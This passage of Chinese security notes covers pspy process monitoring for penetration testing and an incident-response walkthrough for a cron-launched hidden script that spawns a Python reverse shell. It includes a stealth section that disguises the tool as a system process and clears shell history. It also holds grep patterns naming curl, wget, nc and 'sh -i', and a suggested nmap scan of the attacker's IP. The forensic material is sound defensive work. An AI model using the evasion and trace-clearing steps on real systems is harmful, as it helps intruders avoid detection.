&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;timeout 2m&lt;/code&gt;​&lt;/strong&gt;​：限制工具运行时间为 2 分钟&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;/tmp/pspy64&lt;/code&gt;​&lt;/strong&gt;​：工具路径（通常需先上传到目标系统）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-完整使用流程"&gt;🚀 完整使用流程
&lt;/h3&gt;&lt;h4 id="1-工具准备"&gt;1. 工具准备
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 下载最新版（选择对应架构）
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
mv pspy64 /tmp/
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-基本监控模式"&gt;2. 基本监控模式
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 监控所有进程活动（默认输出到终端）
timeout 2m /tmp/pspy64
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-高级监控模式"&gt;3. 高级监控模式
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 带时间戳的详细监控（推荐）
timeout 2m /tmp/pspy64 -p -i 1000
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;-p&lt;/code&gt;​&lt;/strong&gt;​：显示命令完整路径&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;-i 1000&lt;/code&gt;​&lt;/strong&gt;​：每 1000 毫秒刷新一次&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-文件系统监控需-inotify"&gt;4. 文件系统监控（需 inotify）
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 监控进程+文件系统事件
timeout 5m /tmp/pspy64 -pf
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;-f&lt;/code&gt;​&lt;/strong&gt;​：启用文件系统监控&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-后台运行并保存日志"&gt;5. 后台运行并保存日志
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 后台运行并记录到文件
nohup timeout 10m /tmp/pspy64 -p &amp;gt; /tmp/pspy.log 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="-渗透测试实战应用"&gt;🔍 渗透测试实战应用
&lt;/h3&gt;&lt;h4 id="场景-1检测隐藏定时任务"&gt;场景 1：检测隐藏定时任务
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 监控 cron 活动
timeout 5m /tmp/pspy64 -p | grep -E &amp;#39;cron|CRON&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​典型输出​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;2024/08/05 10:00:01 CMD: UID=0 PID=1234 | /usr/sbin/CRON -f
2024/08/05 10:00:01 CMD: UID=0 PID=1235 | /bin/sh -c /root/.hidden/backdoor.sh
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="场景-2检测可疑进程"&gt;场景 2：检测可疑进程
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 监控非 root 用户的特权操作
timeout 3m /tmp/pspy64 | grep -E &amp;#39;sudo|su|pkexec&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="场景-3文件创建监控"&gt;场景 3：文件创建监控
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 监控 /tmp 目录文件创建
timeout 5m /tmp/pspy64 -pf | grep &amp;#39;/tmp&amp;#39; | grep &amp;#39;CREATE&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="-输出解读指南"&gt;📊 输出解读指南
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;含义&lt;/th&gt;
 &lt;th&gt;渗透价值&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​TIMESTAMP​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;事件发生时间&lt;/td&gt;
 &lt;td&gt;分析攻击时间线&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​CMD​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;执行的命令&lt;/td&gt;
 &lt;td&gt;识别恶意命令&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​UID​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;执行用户 ID&lt;/td&gt;
 &lt;td&gt;定位攻击者账户&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​PID/PPID​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;进程/父进程 ID&lt;/td&gt;
 &lt;td&gt;追踪进程链&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​FS EVENT​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;文件操作类型&lt;/td&gt;
 &lt;td&gt;检测 webshell 上传&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-高级参数大全"&gt;⚙️ 高级参数大全
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;th&gt;使用场景&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-c&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;彩色输出&lt;/td&gt;
 &lt;td&gt;终端实时监控&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-r&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示当前目录&lt;/td&gt;
 &lt;td&gt;追踪工作路径&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-t&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示线程&lt;/td&gt;
 &lt;td&gt;分析多线程恶意软件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-d&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;调试模式&lt;/td&gt;
 &lt;td&gt;排查工具问题&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-n&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;无缓冲输出&lt;/td&gt;
 &lt;td&gt;实时管道处理&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-s&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示信号&lt;/td&gt;
 &lt;td&gt;监控进程间通信&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-隐蔽运行技巧"&gt;🔐 隐蔽运行技巧
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 伪装成系统进程
mv /tmp/pspy64 /usr/bin/udevd_backup

# 低优先级运行（避免占用CPU）
nice -n 19 timeout 15m /usr/bin/udevd_backup -p &amp;gt; /dev/null

# 清除痕迹
rm /usr/bin/udevd_backup &amp;amp;&amp;amp; history -c
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="-防御检测方法"&gt;🛡️ 防御检测方法
&lt;/h3&gt;&lt;p&gt;系统管理员可通过以下方式检测 pspy：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 检测内存特征
ps aux | grep -q &amp;#39;[p]spy&amp;#39; &amp;amp;&amp;amp; echo &amp;#34;pspy detected!&amp;#34;

# 监控进程创建
auditctl -a always,exit -F arch=b64 -S execve -F path=/tmp/pspy64
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="-专业渗透建议"&gt;💡 专业渗透建议
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​优先监控​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/cron*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/spool/cron&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/systemd/system&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​黄金时间​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;整点前后（cron 任务高峰）&lt;/li&gt;
&lt;li&gt;系统重启后 5 分钟&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​日志分析​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;awk &amp;#39;/CMD:/ &amp;amp;&amp;amp; !/systemd|sshd|crond/ {print}&amp;#39; pspy.log
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h1 id="-深度调查可疑进程homepenguinsomeonewhohidesbehindamasktrash_old"&gt;🔍 深度调查可疑进程：&lt;code&gt;/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old&lt;/code&gt;
&lt;/h1&gt;&lt;p&gt;当发现可疑进程时（特别是以 root 权限运行），需要全面分析其行为和来源。以下是专业级调查流程：&lt;/p&gt;
&lt;h2 id="-1-查看进程详细信息"&gt;🔧 1. 查看进程详细信息
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看进程环境变量
cat /proc/1544/environ | tr &amp;#39;\0&amp;#39; &amp;#39;\n&amp;#39;

# 查看进程打开的文件
ls -l /proc/1544/fd

# 查看进程映射的内存区域
pmap 1544
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-2-分析脚本内容"&gt;🕵️ 2. 分析脚本内容
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看脚本内容（注意安全）
cat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 检查文件签名
file /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 提取可疑字符串
strings /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old | grep -E &amp;#39;curl|wget|bash|python|perl|nc|ssh&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-3-追踪进程关系"&gt;🔗 3. 追踪进程关系
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看进程树
pstree -aps 1544

# 查找父进程
ps -o ppid= -p 1544 | xargs ps -f

# 检查启动时间
ps -p 1544 -o lstart,etime,cmd
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-4-网络连接检查"&gt;🌐 4. 网络连接检查
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看网络连接
lsof -i -P -n -p 1544

# 检查网络流量
nethogs -p 1544

# 抓取网络数据包
tcpdump -i any -w dump.pcap host $(lsof -p 1544 -i | awk &amp;#39;NR&amp;gt;1{print $9}&amp;#39; | cut -d: -f1)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-5-日志追踪"&gt;📜 5. 日志追踪
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 检查系统日志
journalctl _PID=1544

# 检查审计日志
ausearch -p 1544

# 检查隐藏日志
find /var/log -name &amp;#39;*.log&amp;#39; -exec grep -H 1544 {} \;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-6-文件系统分析"&gt;🧩 6. 文件系统分析
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看文件属性
stat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 检查文件修改历史
find /home/penguin/SomeoneWhoHidesBehindAMask -type f -newermt &amp;#34;2025-08-03&amp;#34; -ls

# 查看文件隐藏属性
lsattr /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-7-安全处置建议"&gt;⚠️ 7. 安全处置建议
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 暂停进程（不终止）
kill -STOP 1544

# 创建内存转储（取证）
gcore -o core_dump 1544

# 隔离文件
mv /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old /tmp/.quarantine
chmod 000 /tmp/.quarantine

# 检查定时任务
crontab -u root -l
crontab -u penguin -l
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-8-高级分析工具"&gt;🔍 8. 高级分析工具
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 使用 strace 追踪系统调用
strace -f -p 1544 -o strace.log

# 使用 gdb 调试进程
gdb -p 1544

# 使用 Volatility 分析内存转储
volatility -f core_dump.1544 linux_pslist
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-可疑指标检查表"&gt;📊 可疑指标检查表
&lt;/h2&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;检查项&lt;/th&gt;
 &lt;th&gt;命令&lt;/th&gt;
 &lt;th&gt;风险指标&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​文件隐藏​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;ls -la /home/penguin&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;.trash_old&lt;/code&gt; 隐藏文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​异常权限​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;stat .trash_old&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;777 权限或 SUID 位&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​加密内容​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;file .trash_old&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;ELF 可执行文件或 UPX 加壳&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​网络连接​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;lsof -p 1544&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;连接到外部 IP 或非常用端口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​进程伪装​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;readlink /proc/1544/exe&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;路径与常见系统进程不符&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​资源占用​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;top -p 1544&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;异常 CPU/内存占用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="-专业建议"&gt;💡 专业建议
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​不要立即终止进程​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先收集证据（内存转储、网络抓包）&lt;/li&gt;
&lt;li&gt;分析其行为模式和目的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​检查持久化机制​&lt;/strong&gt;​：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查 systemd 服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;systemctl list-units &lt;span class="p"&gt;|&lt;/span&gt; grep -i trash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查开机启动项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;ls -l /etc/init.d/ /etc/rc*.d/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​溯源攻击路径​&lt;/strong&gt;​：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查文件创建者&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;auditctl -w /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old -p warx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 分析 SSH 日志&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;Accepted&amp;#34;&lt;/span&gt; /var/log/auth.log
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;攻击者使用类似 &lt;code&gt;.trash_old&lt;/code&gt; 的伪装文件名进行隐蔽攻击。建议使用 YARA 规则扫描内存：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;yara -m /opt/yara-rules/malware_index.yar core_dump.1544 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h1 id="-深度调查恶意进程树从-cron-到反向-shell"&gt;🔍 深度调查恶意进程树：从 cron 到反向 Shell
&lt;/h1&gt;&lt;p&gt;您发现的进程树显示了一个完整的攻击链：​&lt;strong&gt;​cron → 隐藏脚本 → Python 反向 Shell​&lt;/strong&gt;​。以下是专业级的调查和响应步骤：&lt;/p&gt;
&lt;h2 id="-1-实时取证立即执行"&gt;🔧 1. 实时取证（立即执行）
&lt;/h2&gt;&lt;h3 id="查看活动进程详情"&gt;查看活动进程详情
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看 Python 反向 Shell 详情
ps -fp 1620 --forest

# 查看完整命令行
cat /proc/1620/cmdline | tr &amp;#39;\0&amp;#39; &amp;#39; &amp;#39;

# 检查环境变量
cat /proc/1620/environ | tr &amp;#39;\0&amp;#39; &amp;#39;\n&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="网络连接分析"&gt;网络连接分析
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看网络连接
ss -antp | grep 1620
lsof -i -P -n -p 1620

# 实时抓包
tcpdump -i any -s0 -w reverse_shell.pcap host $(ss -n -p | grep 1620 | awk &amp;#39;{print $5}&amp;#39; | cut -d: -f1)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-2-脚本分析关键证据"&gt;🕵️ 2. 脚本分析（关键证据）
&lt;/h2&gt;&lt;h3 id="检查恶意脚本"&gt;检查恶意脚本
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看 .trash_old 内容
cat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 提取可疑字符串
strings /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old | grep -E &amp;#39;curl|wget|bash|python|sh -i&amp;#39;

# 检查文件属性
stat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
lsattr /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="反编译-python-代码"&gt;反编译 Python 代码
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 提取 Python 命令
ps -p 1620 -o cmd | tail -1 | cut -d&amp;#39;;&amp;#39; -f2

# 重构完整代码
echo &amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39; &amp;gt; reverse_shell.py
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-3-溯源攻击路径"&gt;🔗 3. 溯源攻击路径
&lt;/h2&gt;&lt;h3 id="检查-cron-配置"&gt;检查 cron 配置
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查找触发脚本的 cron 任务
grep -r &amp;#34;SomeoneWhoHidesBehindAMask&amp;#34; /etc/cron* /var/spool/cron

# 查看 cron 日志
grep &amp;#34;CRON&amp;#34; /var/log/syslog | tail -50
journalctl -u cron --since &amp;#34;2025-08-04 02:00:00&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="用户活动审计"&gt;用户活动审计
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 检查 penguin 用户历史
last -u penguin
grep &amp;#34;penguin&amp;#34; /var/log/auth.log*

# 查看文件修改时间
find /home/penguin -newermt &amp;#34;2025-08-03&amp;#34; -ls
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-4-应急响应立即执行"&gt;⚠️ 4. 应急响应（立即执行）
&lt;/h2&gt;&lt;h3 id="隔离恶意进程"&gt;隔离恶意进程
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 暂停进程但不终止（保留证据）
kill -STOP 1620 1615 1614 1613

# 网络隔离
iptables -A OUTPUT -p tcp -m owner --pid-owner 1620 -j DROP
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="取证收集"&gt;取证收集
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 内存转储
gcore -o reverse_shell_core 1620

# 进程内存快照
cat /proc/1620/maps
dd if=/proc/1620/mem of=process_mem.bin bs=1M count=10

# 保存 bash 历史
cp /proc/1621/fd/0 bash_history.txt
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-5-反向-shell-分析"&gt;🔄 5. 反向 Shell 分析
&lt;/h2&gt;&lt;h3 id="连接信息提取"&gt;连接信息提取
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看 ESTABLISHED 连接
ss -antp | grep ESTAB | grep 1620

# 提取目标 IP
REMOTE_IP=$(ss -n -p | grep 1620 | awk &amp;#39;{print $5}&amp;#39; | cut -d: -f1)
REMOTE_PORT=$(ss -n -p | grep 1620 | awk &amp;#39;{print $5}&amp;#39; | cut -d: -f2)

echo &amp;#34;攻击者地址: $REMOTE_IP:$REMOTE_PORT&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="反向连接分析"&gt;反向连接分析
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 检查连接内容
tcpflow -r reverse_shell.pcap &amp;#34;host $REMOTE_IP and port $REMOTE_PORT&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-6-系统加固"&gt;🛡️ 6. 系统加固
&lt;/h2&gt;&lt;h3 id="清除恶意组件"&gt;清除恶意组件
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 移除 cron 任务
crontab -u penguin -l | grep -v &amp;#34;SomeoneWhoHidesBehindAMask&amp;#34; | crontab -u penguin -

# 删除恶意文件
mv /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old /root/malware_evidence/
chmod 000 /root/malware_evidence/.trash_old
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="修复措施"&gt;修复措施
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 重置用户密码
passwd penguin

# 检查后门账户
grep &amp;#39;:0:&amp;#39; /etc/passwd

# 安装监控
auditctl -w /home/penguin/ -p warx -k suspicious_user
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-攻击链重建"&gt;📊 攻击链重建
&lt;/h2&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TD
 A[cron服务] --&gt; B[执行.trash_old]
 B --&gt; C[启动sh进程]
 C --&gt; D[执行Python反向Shell]
 D --&gt; E[建立到攻击者的连接]
 E --&gt; F[获取交互式bash]&lt;/pre&gt;&lt;h2 id="-专业建议-1"&gt;💡 专业建议
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​不要立即终止进程​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;保持连接状态以收集攻击者操作&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;code&gt;script&lt;/code&gt; 命令记录会话：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;script -f /root/attacker_session.log
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​蜜罐陷阱​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 创建假脚本记录访问
echo &amp;#39;#!/bin/bash
echo &amp;#34;$(date) $USER accessed&amp;#34; &amp;gt;&amp;gt; /var/log/honeypot.log
&amp;#39; &amp;gt; /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
chmod +x /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​反制措施​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 反向扫描攻击者
nmap -sS -Pn $REMOTE_IP
whois $REMOTE_IP
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 ​&lt;strong&gt;​关键行动​&lt;/strong&gt;​：立即保存 &lt;code&gt;/proc/1620/environ&lt;/code&gt; 和 &lt;code&gt;/proc/1620/cmdline&lt;/code&gt;，这些文件在进程终止后将永久丢失，包含重要数字证据！&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h1 id="-varspoolcroncrontabsroot-深度解析"&gt;🔍 &lt;code&gt;/var/spool/cron/crontabs/root&lt;/code&gt; 深度解析
&lt;/h1&gt;&lt;h2 id="-文件本质"&gt;📁 文件本质
&lt;/h2&gt;&lt;p&gt;​&lt;strong&gt;​&lt;code&gt;/var/spool/cron/crontabs/root&lt;/code&gt;​&lt;/strong&gt;​ 是 Linux 系统中 ​&lt;strong&gt;​root 用户的专属定时任务配置文件​&lt;/strong&gt;​，属于系统级 cron 服务的一部分。其关键特性：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;特性&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​存储位置​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;/var/spool/cron/crontabs/&lt;/code&gt; 目录下&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​文件权限​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;通常为 &lt;code&gt;600&lt;/code&gt;（仅 root 可读写）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​文件格式​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;符合 crontab 语法（分 时 日 月 周 命令）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
